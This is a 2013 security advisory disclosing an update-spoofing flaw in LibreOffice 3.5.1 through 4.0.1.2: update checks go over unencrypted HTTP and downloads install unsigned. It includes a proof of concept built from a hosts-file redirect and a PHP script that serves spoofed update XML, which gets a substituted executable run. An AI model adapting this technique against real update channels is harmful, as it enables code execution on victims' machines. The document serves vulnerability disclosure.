[waraxe-2013-SA#099] - Update Spoofing Vulnerability in LibreOffice 4.0.1.2
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Author: Janek Vind "waraxe"
Date: 21. March 2013
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-99.html


Description of vulnerable software:
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LibreOffice is a free and open source office suite, developed by The Document
Foundation. It is descended from OpenOffice.org, from which it was forked in 2010.
The LibreOffice suite includes a word processor, spreadsheet, graphics editor,
slideshow creator, database and math formula writer.

http://www.libreoffice.org/

Affected are versions 3.5.1 to newest 4.0.1.2, older versions were not tested.

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1. Update Spoofing Vulnerability
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It appears, that current version of LibreOffice contains security vulnerability
in update mechanism, which can be exploited by malicious people to conduct
spoofing attacks.

When checking for updates, LibreOffice issues GET request over HTTP:

GET /check.php HTTP/1.1
Connection: TE, close
TE: trailers
Host: update.libreoffice.org
Accept-Encoding: gzip
Pragma: no-cache
Accept-Language: en-US
User-Agent: LibreOffice 4.0 .0.3 (7545bee9c2a0782548772a21bc84a9dcc583b89;
 Windows; x86; BundledLanguages=en-US af am ar as ast be bg bn bn-IN bo ...)


Server at "update.libreoffice.org" responds with XML data:

<?xml version="1.0" encoding="utf-8"?>
<inst:description xmlns:inst="http://update.libreoffice.org/description">
  <inst:id>LibreOffice 4.0.1</inst:id>
  <inst:gitid>84102822e3d61eb989ddd325abf1ac077904985</inst:gitid>
  <inst:os>Windows</inst:os>
  <inst:arch>x86</inst:arch>
  <inst:version>4.0.1</inst:version>
  <inst:buildid>9999</inst:buildid>
  <inst:update type="text/html" src="http://www.libreoffice.org/download/" />
</inst:description>


LibreOffice user can click "Download" and "Install" buttons and LibreOffice
will download and install the update.

Such update mechanism contains two security flaws:

1. Update check is done over unencrypted HTTP channel. Malicious third party
is able to conduct Man-in-the-Middle (MitM) attacks and spoof server response.
In this way it is possible to instruct LibreOffice to download malicious update.

2. LibreOffice will execute downloaded update without digital signature
verification.

Testing: tests were done using Windows 7, Apache and PHP. Steps:

1. modify "windows/system32/drivers/etc/hosts" file in order to emulate
DNS spoofing:  127.0.0.1 update.libreoffice.org

2. create php file "check.php" to the webserver main directory:

<?php
echo '<?xml version="1.0" encoding="utf-8"?>
<inst:description xmlns:inst="http://update.libreoffice.org/description">
  <inst:id>LibreOffice 5.6.7</inst:id>
  <inst:gitid>123456789</inst:gitid>
  <inst:os>Windows</inst:os>
  <inst:arch>x86</inst:arch>
  <inst:version>5.6.7</inst:version>
  <inst:buildid>9999</inst:buildid>
  <inst:update type="application/octet-stream" src="http://localhost/notepad.exe" />
</inst:description>';
?>

3. Place "notepad.exe" file to the webserver main directory.

4. Open LibreOffice Writer -> Help -> Check For Updates

Response: LibreOffice 5.6.7 is available.

5. Press "Download" button. Successful download ends with response:

Download of LibreOffice 5.6.7 completed. Ready for installation.

6. Press "Install" button, choose "Yes" and after that Notepad will be opened.



Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

Waraxe forum:  http://www.waraxe.us/forums.html
Personal homepage: http://www.janekvind.com/
Random project: http://albumnow.com/
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